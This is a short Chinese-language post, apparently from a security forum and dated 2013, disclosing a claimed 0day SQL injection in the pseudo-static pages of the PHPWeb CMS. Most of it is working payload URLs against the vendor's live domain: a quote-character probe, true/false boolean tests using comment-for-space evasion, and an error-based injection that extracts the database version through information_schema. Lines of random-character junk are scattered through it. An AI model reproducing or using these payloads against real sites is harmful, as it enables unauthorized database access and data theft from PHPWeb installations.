phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入

主站：http://phpweb.net/
加’检测：

http://www.phpweb.net/down/html/?772′.html
+ `- _' _$ P1 }9 K' y& P( p
: x0 p9 |% `" X4 ^8 F/ M; n出错
  y# M! l3 a% c( {; n存在注入。
不能用空格，只能用/*罗
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
1 S. ?$ i( U% G' m# ^  K爆数据库版本：
; S0 B) \& o3 h& d9 I- ?- b8 Y* M
/ e. F. c5 f+ @! O9 u; D?
$ p9 ]0 z- ?, B0 `, J1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
  R" H3 z, O5 d8 U6 ~( f更新日期: 2013-01-03 13:39:50        
- O) w' m0 _9 @. J, g9 C* q